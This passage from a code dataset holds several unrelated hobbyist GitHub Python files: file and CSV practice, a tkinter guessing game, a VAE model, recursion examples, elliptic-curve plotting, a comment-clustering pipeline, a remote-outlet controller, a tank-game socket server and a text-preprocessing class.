print(fi.closed)\n#\n# with open(\"txt1\",\"r+\")as f:\n# (f.write(\"hello..\"))\n\n#read the file and write in anoher file\n# with open(\"txt1\",\"r\")as rf:\n# with open(\"file3.txt\",\"w\")as wf:\n# wf.write(rf.read())\n# with open(\"newfile\",\"a\")as nw:\n# nw.write(\"harshith,100\")\n# nw.write(\"\\nmohith,50\")\nwith open(\"newfile\",\"r\") as rf:\n with open(\"hello\",\"w\",newline=\"\") as wf:\n for line in rf.readlines():\n name,salary=line.split(\",\")\n wf.write(f\"\\n{name}'s salary is {salary}\")\n\n#CSV FILE READING\n# from csv import reader\n# with open(\"csv.txt\",\"r\") as cf:\n# data=reader(cf)\n# print(data)\n# for row in data:\n# print(row)\n# from csv import DictReader\n# with open(\"csv.txt\",\"r\") as cf:\n# data=DictReader(cf)\n# print(data)\n# for row in data:\n# print(row)\n# print(row[\"name\"])\n#csv file writing\n# from csv import writer\n# with open(\"cswrite.txt\",\"w\",newline=\"\")as cw:\n# cw_writer=writer(cw)\n# #there is two methods to write csv files\n# #method1\n# # cw_writer.writerow([\"name\",\"countries\"])\n# # cw_writer.writerow([\"harika\",\"india\"] )\n# # cw_writer.writerow([\"deepak\",\"india\"] )\n# #method2\n# cw_writer.writerows([[\"name\",\"countries\"],[\"harika\",\"india\"],[\"deepak\",\"india\"]])\n#\n# from csv import DictWriter\n# with open(\"cswrite.txt\",\"w\",newline=\"\")as cw:\n# cw_writer=DictWriter(cw,fieldnames=[\"name\",\"countries\"])\n# cw_writer.writeheader()\n# #there is two methods to write csv files\n# #method1:writerow\n# # cw_writer.writerow({\"name\":\"harika\",\n# # \"countries\":\"india\"})\n# # cw_writer.writerow ({\"name\" : \"deepak\",\n# # \"countries\":\"india\"} )\n# #method2\n# cw_writer.writerows([{\"name\":\"harika\",\"countries\":\"india\"},{\"name\" : \"deepak\", \"countries\":\"india\"}])\n\n\n\nimport random\nfrom tkinter import*\nfrom tkinter import messagebox\nroot=Tk()\n# root.geometry(\"100x100+0+0\")\nroot.title(\"Number guessing Game\")\n# root.config(bg=\"green\")\nlabel=Label(root,text=\"Guess The Number :\")\nlabel.grid(row=0,column=0)\nnum_var=StringVar()\nentry=Entry(root,width=10,textvariable=num_var)\nentry.grid(row=0,column=1)\ndef action():\n main_num=10\n found=False\n num1=num_var.get()\n num=int(num1)\n while not found:\n if num==main_num:\n messagebox.showinfo(\"title\",\"U guessed right number\")\n found=True\n break\n else:\n if num < main_num:\n messagebox.showinfo(\"title\",\"the number is low!\")\n else:\n\n messagebox.showinfo(\"title\",\"the number is high\")\n # continue\nbutton=Button(root,text=\"SUBMIT\",command=action)\nbutton.grid(row=1,columnspan=2)\nroot.mainloop()\n","repo_name":"harika882/drive-d","sub_path":"python dell/python practice/Advanced python.py","file_name":"Advanced python.py","file_ext":"py","file_size_in_byte":17502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16985476302","text":"import os\nimport numpy as np\nimport utils as utils\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nfrom numpy import array\nfrom keras.preprocessing.text import one_hot\nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import Flatten\nfrom keras.layers.embeddings import Embedding\nfrom keras.preprocessing.text import Tokenizer\n\n\nclass VAE(nn.Module):\n def __init__(self, input_size, h_dim, z_dim, h1_samples):\n super(VAE, self).__init__()\n self.fc1 = nn.Linear(input_size, h_dim)\n self.fc21 = nn.Linear(h_dim, z_dim)\n self.fc22 = nn.Linear(h_dim, z_dim)\n self.fc3 = nn.Linear(z_dim,input_size)\n self.h1_samples = h1_samples\n def encode(self, x):\n h = F.relu(self.fc1(x))\n mu = self.fc21(h)\n log_var = self.fc22(h)\n return mu, log_var\n def parameterize(self, mu, log_var, h1_samples):\n std = torch.exp(log_var/2)\n if h1_samples == 1:\n epsilon = torch.randn_like(std)\n h = mu + epsilon * std \n else:\n epsilon = torch.randn((h1_samples*std.size(0), std.size(1)), device=device).float()\n epsilon_list = torch.split(epsilon, std.size(0), dim=0) # it returns a tuple\n h = []\n for i in range(h1_samples):\n h.append(mu + epsilon_list[i] * std)\n return h\n def decode(self, h, h1_samples):\n if h1_samples == 1:\n z = F.softmax(h, dim = 1)\n y = F.softmax(self.fc3(z), dim = 1)\n else:\n z = []\n y = []\n for i in range(h1_samples):\n z.append(F.softmax(h[i], dim = 1))\n y.append(F.softmax(self.fc3(z[i]), dim = 1))\n return z, y \n def forward(self, x):\n mu, log_var = self.encode(x)\n h = self.parameterize(mu, log_var, self.h1_samples)\n z, y = self.decode(h, self.h1_samples)\n return y, mu, log_var, z\n\n\n","repo_name":"Likelyt/Text-Generation","sub_path":"baseline3-NVTI/topic_gene_VAE.py","file_name":"topic_gene_VAE.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"37146897034","text":"# recurssive implimentation of fibonacci series\nprint(\"Fibonacci Series\")\ndef fibonacci(num):\n if num < 1:\n return None\n elif num < 3:\n return 1\n elem1 = elem2 = 1\n # sum\n sum = 0\n for i in range(3, num + 1):\n sum = elem1 + elem2\n elem1, elem2 = elem2, sum\n\n return sum\n\nfor i in range(1, 10):\n print(f\"{i} => {fibonacci(i)}\", end='\\n')\n\n\n# Recurssive implimentation of factorial\nprint(\"\\n\\nFactorial\")\n\ndef factorial(num):\n if num == 1:\n return 1\n else:\n return num * factorial(num - 1)\n\nfor i in range(1, 10):\n print(f\"{i} => {factorial(i)}\", end='\\n')\n\n","repo_name":"codac-black/algorithims","sub_path":"DDA/recurssion.py","file_name":"recurssion.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28140161174","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom fractions import Fraction\n\n# function to check whether given x,y points lie on same curve or not if the x1,y1,x2,y2,a,b points satisfy the\n# equation then it will return true or else false\ndef checkPointsOnCurve(x1,y1,x2,y2,a,b):\n if y1 ** 2 == (x1 ** 3)+(a*x1)+b and y2 ** 2 == (x2 ** 3)+(a*x2)+b :\n print(\"Both Points lie on curve\")\n return True\n else:\n print(\"Points does not lie on curve\")\n return False\n \n#function to compare the two coordinate pairs.Based on comparison it will calculate the slope.\n#if they are not equal it wil be calculate the normal slope or else it will calculate the differential equation slope\ndef compareCoordinates(x1,y1,x2,y2,a):\n \n if x1 ==x2:\n if y1==y2:\n print(\"Both coordinates are equal. Please input different values\")\n else:\n getDifferentialSlope(x1,y1,a)\n else:\n m = (y1-y2)/(x1-x2)\n print(\"value of slope:\",m)\n\n# function to calculate slope for a differential equation\ndef getDifferentialSlope(x1,y1,a):\n m = (3 * pow(x1, 2) + a)/(2 * y1)\n print(\"value of Differential slope:\",m)\n \n# function to get x3 value by substituting m,x1,x2,y1,y2 values in equation and parsing\n# the x3 value into fractions by using fractions class\ndef getNewXValue(x1,y1,x2,y2):\n m = (y1-y2)/(x1-x2)\n x3 = Fraction((m ** 2)-x1-x2)\n return x3\n \n# function to get y3 value by susbstituting m,x1,y1,x3 values in equation and parsing\n# the y3 value into fractions by using fractions class\ndef getNewYValue(x1,y1,x2,y2,x3):\n m = (y1-y2)/(x1-x2)\n y3 = Fraction(m *(x3 - x1) + y1)\n return y3\n\t\n# function to plot graph \ndef plotGraph(x1,y1,x2,y2,x3,y3,a,b):\n\n #Determines width and height of plot\n setWidth = max(abs(x1),abs(x2),abs(x3))\n setHeight = max(abs(y1),abs(y2),abs(y3))\n w = setWidth+10\n h = setHeight+12\n\n # Annotate the plot with your name using width (w) and height (h) as your reference points.\n an1 = plt.annotate(\"Vijaya Madhuri Devarapalli\", xy=(-w+2 , h-2), xycoords=\"data\",\n va=\"center\", ha=\"center\",\n bbox=dict(boxstyle=\"round\", fc=\"w\"))\n\n # This creates a mesh grid with values determined by width and height (w,h)\n # of the plot with increments of .0001 (1000j = .0001 or 5j = .05)\n y, x = np.ogrid[-h:h:1000j, -w:w:1000j]\n\n # Plot the curve (using matplotlib's countour function)\n # This drawing function applies a \"function\" described in the\n # 3rd parameter: pow(y, 2) - ( pow(x, 3) - x + 1 ) to all the\n # values in x and y.\n # The .ravel method turns the x and y grids into single dimensional arrays\n plt.contour(x.ravel(), y.ravel(), pow(y, 2) - ( pow(x, 3) - a*x + b ), [0])\n\n #Get the slope of the line\n m = (y1-y2)/(x1-x2)\n\n # Plot the points ('ro' = red, 'bo' = blue, 'yo'=yellow and so on)\n plt.plot(x1, y1,'ro')\n\n # Annotate point 1\n plt.annotate('x1,y1', xy=(x1, y1), xytext=(x1+1,y1+1),\n arrowprops=dict(arrowstyle=\"->\",\n connectionstyle=\"arc3\"),\n )\n\n plt.plot(x2, y2,'bo')\n\n # Annotate point 2\n plt.annotate('x2,y2', xy=(x2, y2), xytext=(x2+1,y2+1),\n arrowprops=dict(arrowstyle=\"->\",\n connectionstyle=\"arc3\"),\n )\n\n # Use a contour plot to draw the line (in pink) connecting our point.\n plt.contour(x.ravel(), y.ravel(), (y-y1)-m*(x-x1), [0],colors=('pink'))\n\n plt.plot(x3, y3,'yo')\n\n # Annotate point 3\n plt.annotate('x3,y3', xy=(x3, y3), xytext=(x3+1, y3+1),\n arrowprops=dict(arrowstyle=\"->\",\n connectionstyle=\"arc3\"),\n )\n\n # Show a grid background on our plot\n plt.grid()\n\n # Show the plot\n plt.show()","repo_name":"dmadhuri/CMPS-Cryptography-dmadhuri","sub_path":"VijayaMadhuri.Devarapalli.Elliptical/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":3731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24526127260","text":"# List comprehension:\n# 1. Take an input list from user and print only even numbers\n# 2. Do the same with list comprehension\n\nlist1=[]\neven_list=[]\nodd_list=[]\n\nnumbers=int(input(\"How many numbers do you want to add? \"))\n\nfor i in range(numbers):\n data=input(\"Enter the numbers: \")\n list1.append(data)\nprint(list1)\n\n# Print even numbers list\n\nfor j in list1:\n if int(j)%2==0:\n even_list.append(j)\n else:\n odd_list.append(j)\nprint(\"Even Numbers List: \",even_list)\n\n# Perform same task using list comprehension\n\neven_list1= [k for k in list1 if int(k)%2==0]\nprint(\"Even Numbers List by List Comprehension: \",even_list1)","repo_name":"TrueSanket/Python","sub_path":"Python Programs/list_comprehension.py","file_name":"list_comprehension.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38829497566","text":"# coding: utf-8\nimport pandas as pd\nimport numpy as np\nimport math\nimport logging\nimport sys\nimport re\nimport time\nimport json\nimport string\nimport jieba\nimport requests\nimport time\n#import clustering_functions\nfrom . import clustering_functions\nimport subprocess\nimport multiprocessing\nfrom collections import Counter\nfrom itertools import count\n\nlogpath = '/home/lingtelli/jlsche/croton/api/logs'\n\nlogging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(asctime)s - %(message)s', filename=logpath)\nlogger = logging.getLogger('logtest')\n\ndef startClustering(comments, origin_comments, tfidf_df, roles):\n comments_df = comments.to_frame('comment')\n comments_df['origin_comment'] = origin_comments\n comments_df['seg_comment'] = comments_df['comment'].apply(clustering_functions.generateSegmentList)\n\n # 列出所有的斷詞,以及其出現次數\n word_counted = Counter([word for comment in comments_df['seg_comment'] for word in comment])\n\n # 刪除seg_word內不必要的東西\n seg_words = list(word_counted.keys())\n useless_words = ['[','!','吧','还','那么','也','什么','好','真的','是','你','我','他','的','了','啦','很','太','哦','/','r','n','吗','呢','呀','哎','她','噢','么','耶','还是','最','啊',']', ' ']\n\n clean_seg_words = [w for w in seg_words if w not in useless_words]\n\n # 找出所有clean_seg_words的tf-idf value,以dataframe的方式去取得tf-idf value因為比較快\n seg_word_df = pd.DataFrame()\n seg_word_df['word'] = clean_seg_words\n seg_word_df['tf_idf'] = seg_word_df['word'].apply(clustering_functions.getTfIdfValue, args=(tfidf_df,))\n\n # 把所有斷詞的 tf-idf dataframe 變成 dict, 方便未來查詢用\n tfidf_dict = dict(zip(seg_word_df['word'], seg_word_df['tf_idf']))\n\n # 紀錄相同評論的次數,之後相同的評論只要處理一次\n comments_count = comments_df.groupby('origin_comment').size().reset_index(name='count')\n comments_df.drop_duplicates(subset='origin_comment', inplace=True)\n comments_df = comments_count.merge(comments_df, how='right', on='origin_comment')\n\n if roles is not None:\n comments_df['center'] = comments_df['seg_comment'].apply(clustering_functions.findRole, args=(roles, ))\n else:\n comments_df['center'] = False\n\n mask = (comments_df['center'] == False)\n comments_df_valid = comments_df[mask]\n\n # method1: center is the word with highest tf-idf value\n #comments_df.loc[mask, 'center'] = comments_df_valid['seg_comment'].apply(clustering_functions.getCenterCandidate_TfIdf, args=(tfidf_dict, ))\n\n # method2: center is the word with most common word in group\n comments_df.loc[mask, 'center'] = comments_df_valid['seg_comment'].apply(clustering_functions.getCenterCandidate_MostCommon, args=(word_counted, useless_words, ))\n\n # 去除掉評論內的center\n comments_df['clean_seg_comment'] = comments_df.apply(clustering_functions.removeCenter2, axis=1)\n comments_df['clean_seg_comment'] = comments_df['clean_seg_comment'].apply(lambda x: x[0])\n\n # 根據tf-idf值,找出每一句評論的關鍵詞(critical_word)\n comments_df['critical_word'] = comments_df['clean_seg_comment'].apply(clustering_functions.getCriticalWord, args=(tfidf_dict,))\n\n # 找出critical word的關聯詞找出來,並轉為簡體 (api需輸入簡體 輸出為繁體)\n words_for_query = list(set(comments_df['critical_word'].tolist()))\n headers = {'Content-type': 'application/json', }\n\n resp_assoc = None\n with requests.Session() as s:\n s.keep_alive = False\n #resp_assoc = requests.post('http://lingtelli.com:5012/getKeywordAssoc/', data=json.dumps({\"keyword\": words_for_query}), headers=headers)\n resp_assoc = requests.post('http://localhost:3005/getKeywordAssoc?lang=sim', data={'keyword': comments_df['critical_word'].tolist()})\n #resp_assoc = requests.post('http://192.168.10.108:3005/getKeywordAssoc?lang=sim', data={'keyword': comments_df['critical_word'].tolist()}) \n '''\n concept_tree = widgets.buildConceptTree(resp_assoc)\n equivalent_words, parent = widgets.findEquivalent(concept_tree)\n\n critical_words = comments_df['critical_word'].unique()\n print(critical_words)\n root_of = dict()\n for w in critical_words:\n root = widgets.findRoot(w, concept_tree, equivalent_words)\n if w != root:\n root_of[w] = root\n \n #comments_df['root_of_critical_word'] = comments_df['critical_word'].apply(widgets.findRoot, args=(concept_tree, equivalent_words, parent))\n '''\n critical_words_with_assoc = clustering_functions.getWordsWithAssoc(resp_assoc)\n comments_df['words_with_assoc'] = comments_df['critical_word'].apply(clustering_functions.getAssoc, args=(critical_words_with_assoc,))\n\n # 看assoc_words_set裡的關聯詞,其在評論中出現的次數並排列\n\n # 取得所有評論的關連詞的聯集\n assoc_words_set = set([item for sublist in comments_df['words_with_assoc'] for item in sublist])\n element_count = {key: 0 for key in assoc_words_set if key not in useless_words}\n\n # 因為群中心是由LCS產生,故有可能關連詞會有像是群中心的詞,如李大仁\n for words, count in zip(comments_df['words_with_assoc'], comments_df['count']):\n for word in words:\n if word not in useless_words:\n element_count[word] += count\n sorted_element_count = sorted(element_count.items(), key=lambda x: x[1])\n sorted_element_count.reverse()\n\n # 從每一個評論的關連詞(comments_df['word_with_assoc'])裡,找出哪個關連詞最先在sorted_element_count出現(兩陣列中找到第一個共同元素)\n # http://stackoverflow.com/questions/16118621/first-common-element-from-two-lists\n # 此方法會有評論無法被分群,故需要以choosen來紀錄\n cluster = {}\n sorted_element_count_top = [a for a in sorted_element_count if a[1] > 1]\n\n comments_df['first_assoc_word'] = comments_df['words_with_assoc'].apply(clustering_functions.findFirstAssocWord, args=(sorted_element_count_top, ))\n #comments_df['first_assoc_word'] = comments_df['words_with_assoc'].apply(clustering_functions.findFirstAssocWord, args=(sorted_element_count_top, root_of))\n\n result_df_list = []\n unique_center = comments_df['center'].unique()\n unique_assoc_word = comments_df['first_assoc_word'].unique()\n for center in unique_center:\n grouped_center = comments_df[comments_df['center']==center]\n unique_assoc_word = grouped_center['first_assoc_word'].unique()\n\n for word in unique_assoc_word:\n grouped = grouped_center[grouped_center['first_assoc_word']==word]\n grouped['copied_origin_comment'] = grouped.apply(clustering_functions.copyMore, axis=1)\n total_count = grouped.loc[:, 'count'].sum()\n\n sum_comments = grouped['copied_origin_comment'].tolist()\n comments_str = ', '.join(sum_comments)\n\n group_df = pd.DataFrame(columns=['comment','cluster_center','keyword','member_size'], index=[0])\n group_df['cluster_center'] = center\n group_df['keyword'] = word\n group_df['comment'] = comments_str\n group_df['member_size'] = total_count\n result_df_list.append(group_df)\n\n try:\n result = pd.concat(result_df_list, ignore_index=True)\n return result\n except:\n print('nothing to concate for this cluster.')\n return None\n return None\n\ndef parallelClustering(comments_list, origin_comments_list, tfidf_df, roles):\n results = []\n for comments, origin_comments in zip(comments_list, origin_comments_list):\n results.append(startClustering(pd.Series(comments), pd.Series(origin_comments), tfidf_df, roles))\n return results\n\n\ndef main(dir_id):\n #data_path = '/home/lingtelli/croton/croton/console/data/' + dir_id + '/'\n #current_path = '/home/lingtelli/jlsche/croton/clustering'\n data_path = '/home/ubuntu/web/croton/croton/console/data/' + dir_id + '/'\n current_path = '/home/ubuntu/croton_clustering/'\n #data_path = '/Users/jlin/Lingtelli/croton/working_version/data/' + dir_id + '/'\n #current_path = '/Users/jlin/Lingtelli/croton/working_version/'\n filename = 'cluster_result0.csv'\n input_file = data_path + filename\n\n logger.info(\"Receive request %s.\" % dir_id)\n\n try:\n subprocess.check_output(['grep', '-nr', \"\\r\", \"%s\" % input_file])\n backup_filename = 'cluster_result0_noCR.csv'\n subprocess.check_call(['sed', '-e', \"s/\\r//g\", \"%s\" % (input_file)], stdout=open(data_path + backup_filename, \"wb\"))\n filename = backup_filename\n print('CR detected, erasing ... done.')\n except:\n logger.exception(\"Task %s has no pov file.\" % dir_id)\n print('NO CR IN FILE')\n\n print('reading role.csv from directory', dir_id, '... ', end='')\n try:\n roles = pd.read_csv(data_path + 'role.csv', squeeze=True)\n for r in roles:\n jieba.add_word(r)\n print('done.')\n except:\n roles = None\n logger.exception(\"Task %s has no role file.\" % dir_id)\n print('\\nNo role.csv in', dir_id, 'directory.')\n\n df = pd.read_csv(data_path + filename, names=['count', 'comments'])\n df['count'] = df['count'].apply(lambda x: int(x))\n df = df[df['count'] > 0]\n \n ### 應該先清除一些髒東西, \\n \\r 目前只會變成 nr\n df['cleaned_comments'] = df['comments'].apply(lambda x: str(x).replace('\\n', '').replace('\\r', ''))\n df['cleaned_comments'] = df['cleaned_comments'].apply(clustering_functions.removePunctuation)\n tfidf_df = pd.read_csv(current_path + 'data/sim_word_lex_utf8_2.pl')\n\n comments_series = df['comments'].apply(clustering_functions.strToSeries)\n cleaned_comments_series = df['cleaned_comments'].apply(lambda x: x.split(', '))\n \n task_size = len(comments_series)\n print('Task Size:', task_size)\n\n # number of cores is:\n # 12 on machine 10.108\n # 4 on 118.192.8.106 and my MBA\n NUM_OF_CORES = 12\n\n print('# of cores:', NUM_OF_CORES)\n p = multiprocessing.Pool(NUM_OF_CORES)\n results = []\n job_each_core = []\n percentage_each_core = [0.001, 0.009, 0.01, 0.01, 0.01, 0.01, 0.05, 0.1, 0.1, 0.2, 0.2, 0.3]\n\n lower = 0\n for i in percentage_each_core:\n upper = lower + math.ceil(task_size * i)\n job_each_core.append((lower, upper))\n lower = upper\n \n origin_clusters = comments_series.tolist()\n cleaned_clusters = cleaned_comments_series.tolist()\n \n start_time = time.time()\n for arg in job_each_core:\n results.append(p.apply_async(parallelClustering, args=(cleaned_clusters[arg[0]: arg[1]], origin_clusters[arg[0]: arg[1]], tfidf_df, roles, )))\n \n results = [r.get() for r in results]\n \n results = [x for r in results for x in r if x is not None]\n output_df = pd.concat(results)\n output_df.to_csv(data_path + 'multiprocessing_temp.csv', index=False, sep=',', encoding='utf8')\n end_time = time.time()\n print(\"%.2f seconds to finish the task %s\" % ((end_time - start_time), dir_id))\n\n ########################################################################\n ### not sure if lines below could solve the problem\n ########################################################################\n logger.info(\"Finish clustering task %s. size: %d, time: %.2f\" % (dir_id, task_size, end_time-start_time))\n\n try:\n p.terminate()\n except Exception:\n logger.exception(\"Finish clustering task %s, but something went wrong when terminating Pool.\" % dir_id)\n print(\"Something went wrong when terminating Pool.\")\n sys.exit()\n\n return 'OK'\n\nif __name__ == \"__main__\":\n dir_id = sys.argv[1]\n main(str(dir_id))\n \n","repo_name":"jlsche/Croton_clustering","sub_path":"clustering_multiprocess.py","file_name":"clustering_multiprocess.py","file_ext":"py","file_size_in_byte":11790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19950213998","text":"import subprocess\nfrom Remote_Outlet import config\nimport time\nimport random\n\nfrom temp_reader import read_device_file\n\noutlet_status = [0, 0, 0, 0, 0] # 0:Off, 1:on, 2:random mode now off, 3:random mode now on\nrandom_mode = [0, 0, 0, 0, 0] # 0: random on/off, 1: solar mode\nsunset_hours = [16, 16, 17, 18, 19, 20, 20, 19, 19, 18, 16, 16]\nsunrise_hours = [7, 7, 6, 6, 6, 5, 5, 6, 6, 6, 7, 7]\non_min = 10\non_max = 30\noff_min = 30\noff_max = 240\nsense_interval = 5 # check every 5 seconds\n\nsolar_run = 180 # run pump 180 seconds\nsolar_wait = 600 # with 10 minutes wait\ntemp_threshold1 = 0.2 # if temparature gain is less than this, 3 X wait time \ntemp_threshold2 = 0.4 # if temparature gain is less than this, 2 X wait time\n\ndef turn_on(outlet_id):\n global outlet_status\n if(outlet_id in config.CODES):\n _send_pulse(config.CODES[outlet_id][0])\n outlet_status[int(outlet_id)-1] = 1\n return \"Outlet {} ON\".format(outlet_id)\n else:\n return \"No outlet {} in the database\".format(outlet_id)\n\ndef turn_off(outlet_id):\n global outlet_status\n if(outlet_id in config.CODES):\n _send_pulse(config.CODES[outlet_id][1])\n outlet_status[int(outlet_id)-1] = 0\n return \"Outlet {} OFF\".format(outlet_id)\n else:\n return \"No outlet {} in the database\".format(outlet_id)\n\ndef random_on_off(outlet_id, mode):\n global outlet_status\n status_index = int(outlet_id)-1\n random_mode[status_index] = mode\n if(outlet_id in config.CODES):\n if outlet_status[status_index] >= 2: # Already random -> do nothing\n return \"Outlet {} is already set random or solar\".format(outlet_id)\n outlet_status[status_index] = 2 # Set random status\n previous_time = time.time()\n trigger_seconds = 0 # Turn on immediately at start\n while True:\n if outlet_status[status_index] < 2: # Status is set to not random\n break\n current_time = time.time()\n if current_time - previous_time > trigger_seconds:\n if outlet_status[status_index] == 2: # Now off -> turn on\n if(random_mode[status_index] == 0):\n trigger_seconds = random.randint(on_min, on_max) * 60\n now = time.localtime()\n if now.tm_hour < sunrise_hours[now.tm_mon-1] or now.tm_hour > sunset_hours[now.tm_mon-1]:\n _send_pulse(config.CODES[outlet_id][0])\n outlet_status[status_index] = 3 # change status to random on\n else:\n trigger_seconds = solar_run\n now = time.localtime()\n if now.tm_hour >= sunrise_hours[now.tm_mon-1] + 3 and now.tm_hour <= sunset_hours[now.tm_mon-1] - 2:\n _send_pulse(config.CODES[outlet_id][0])\n outlet_status[status_index] = 3 # change status to random on\n start_temp = read_device_file()\n print(\"[{}] Pump starting at {} degrees\".format(time.strftime('%H:%M'), start_temp))\n else:\n if(random_mode[status_index] == 0):\n trigger_seconds = random.randint(off_min, off_max) * 60\n else:\n trigger_seconds = solar_wait\n if(random_mode[status_index] == 2): # solar with temparature monitoring\n end_temp = read_device_file()\n temp_gain = end_temp - start_temp\n print(\"[{}] {} --> {} Temparature gain is {}\".format(time.strftime('%H:%M'), start_temp, end_temp, temp_gain))\n if(temp_gain < 0): # temparature gain is negative -> exit solar mode \n print(\"No temparature gain -> exit solar mode\")\n outlet_status[status_index] = 0\n _send_pulse(config.CODES[outlet_id][1])\n break\n if(temp_gain < temp_threshold1): # Very little temparature gain -> 3 X the wait time\n trigger_seconds = solar_wait * 3\n print(\"Very little temparature gain -> 3 X the wait time\")\n elif(temp_gain < temp_threshold2): # Not enough temprature gain -> 2X the wait time\n trigger_seconds = solar_wait * 2\n print(\"Not enough tempararture gain -> 2 X wait time\")\n outlet_status[status_index] = 2\n _send_pulse(config.CODES[outlet_id][1])\n previous_time = current_time\n time.sleep(sense_interval)\n return \"Random or solar on/off outlet {} terminated\".format(outlet_id)\n else:\n return \"No outlet {} in the database\".format(outlet_id)\n\ndef is_random():\n global outlet_status\n if(outlet_status[0] >= 2 or outlet_status[1] >= 2 or outlet_status[2] >= 2):\n return(True)\n return(False)\n\n# Flickers outlet_id\ndef flicker(outlet_id, on_duration=1):\n import time\n turn_on(outlet_id)\n time.sleep(on_duration)\n turn_off(outlet_id)\n return(\"Flicker\")\n \n# Uses codesend to send_pulse\ndef _send_pulse(pulse_id):\n args = [config.CODESEND_DIR, '-l', str(config.PULSE), str(pulse_id)]\n subprocess.call(args)\n\n","repo_name":"tomoyaogura/temp_controller","sub_path":"Remote_Outlet/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":5746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5491286455","text":"import socket\nimport threading\nfrom game.tank import Tank\n\nclass Server:\n def __init__(self, host=\"192.168.117.206\", port=1234):\n self.host = host\n self.port = port\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.bind((host, port))\n self.tanks = []\n self.lock = threading.Lock()\n\n def start(self):\n self.sock.listen()\n print(f\"Server started on {self.host}:{self.port}\")\n\n # Server loop\n while True:\n # Wait for a new connection\n conn, addr = self.sock.accept()\n print(f\"New connection from {addr}\")\n\n # Create a new tank and add it to the collection\n with self.lock:\n tank = Tank(50, 350)\n self.tanks.append(tank)\n\n # Handle updates from client\n threading.Thread(target=self.handle_client, args=(conn, tank)).start()\n\n def stop(self):\n self.sock.close()\n print(\"Server stopped\")\n\n def handle_client(self, conn, tank):\n # Receive and apply updates to tank position\n while True:\n data = conn.recv(1024)\n if not data:\n break\n x, y = data.decode().split(\",\")\n tank.x = int(x)\n tank.y = int(y)\n\n # Remove tank from collection and close connection\n with self.lock:\n self.tanks.remove(tank)\n conn.close()\n","repo_name":"tomaszwezyk/BlueTanks","sub_path":"game/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6887929159","text":"import numpy as np\nimport nltk\nimport pickle\nimport string\nfrom tqdm import tqdm\nimport pandas as pd\nfrom nltk.corpus import stopwords\nimport random\n\nfrom vocabulary import Vocabulary\n\n\ndef list_splitter(list_to_split, ratio):\n first_half = int(len(list_to_split) * ratio)\n return list_to_split[:first_half], list_to_split[first_half:]\n\n\ndef load_data(filename):\n with open(filename, 'rb') as file:\n data = pickle.load(file)\n return data\n\n\ndef save_data(filename, data):\n with open(filename, 'wb') as file:\n pickle.dump(data, file, pickle.HIGHEST_PROTOCOL)\n\n\nclass Preprocessing:\n def __init__(self, task, initial_data_file=None, target_data_file=None):\n self._initial_data_file = initial_data_file\n self._target_data_file = target_data_file\n self._initial_vocabulary = Vocabulary(task)\n self._target_vocabulary = Vocabulary(task)\n self._task = task\n\n def _load_by_line(self, filename, chunk_size, encoding='utf-8'):\n corpus = []\n with open(filename, encoding=encoding) as file:\n if chunk_size == 0:\n for line in file:\n corpus.append(line)\n else:\n for line in file:\n if chunk_size == 0:\n break\n else:\n corpus.append(line)\n chunk_size -= 1\n\n return corpus\n\n def _load_csv(self, filename):\n data = pd.read_csv(filename)\n return data[data.columns[0]].tolist(), data[data.columns[1]].tolist()\n\n\n def clear_corpus(self, corpus, save_file_type, target_language=False):\n if target_language:\n corpus = ['START_ ' + sentence.lower().strip().translate(str.maketrans('', '', string.punctuation)) +\n \" _END\" for sentence in tqdm(corpus)]\n ###\n # corpus = [' '.join([word for word in sentence.split(' ') if word not in\n # stopwords.words('english')]) for sentence in tqdm(corpus)]\n ###\n\n save_data(f'cleaned_corpus.txt.{save_file_type}', corpus)\n else:\n corpus = [sentence.lower().strip().translate(str.maketrans('', '', string.punctuation))\n for sentence in tqdm(corpus)]\n\n # corpus = [' '.join([word for word in sentence.split(' ') if word not in\n # stopwords.words('english')]) for sentence in tqdm(corpus)]\n\n save_data(f'cleaned_corpus.txt.{save_file_type}', corpus)\n\n return corpus\n\n def create_text_representation(self, corpus, seq_length, vocab, target_language=False):\n for i in tqdm(range(len(corpus))):\n if target_language:\n corpus[i] = vocab.convert_sentence(corpus[i][:])\n else:\n corpus[i] = vocab.convert_sentence(corpus[i][:])\n\n sent_len = len(corpus[i])\n if sent_len >= seq_length + 1:\n corpus[i] = corpus[i][:seq_length]\n else:\n for j in range(seq_length - sent_len):\n corpus[i].append(0)\n\n return corpus\n\n def create_output_data(self, target_corpus):\n target_output_representation = []\n for i in range(len(target_corpus)):\n target_output_representation.append(target_corpus[i][1:])\n target_corpus[i] = target_corpus[i][:-1]\n\n target_input_representation = np.array(target_corpus, dtype=object)\n target_output_representation = np.array(target_output_representation, dtype=object)\n\n training_data = list(zip(target_input_representation, target_output_representation))\n random.shuffle(training_data)\n training_data = np.array(training_data)\n target_input_representation = training_data[:, 0]\n target_output_representation = training_data[:, 1]\n\n a, b = np.shape(target_output_representation)\n target_output_representation = np.reshape(target_output_representation, (a, b, 1)) # LAME\n\n return target_input_representation, target_output_representation\n\n def run(self, data_extension=None, chunk_size=0, initial_stage=0, seq_length=50, initial_corpus=None,\n target_corpus=None): # data_extensions: txt(line by line), csv\n if initial_stage <= 0:\n 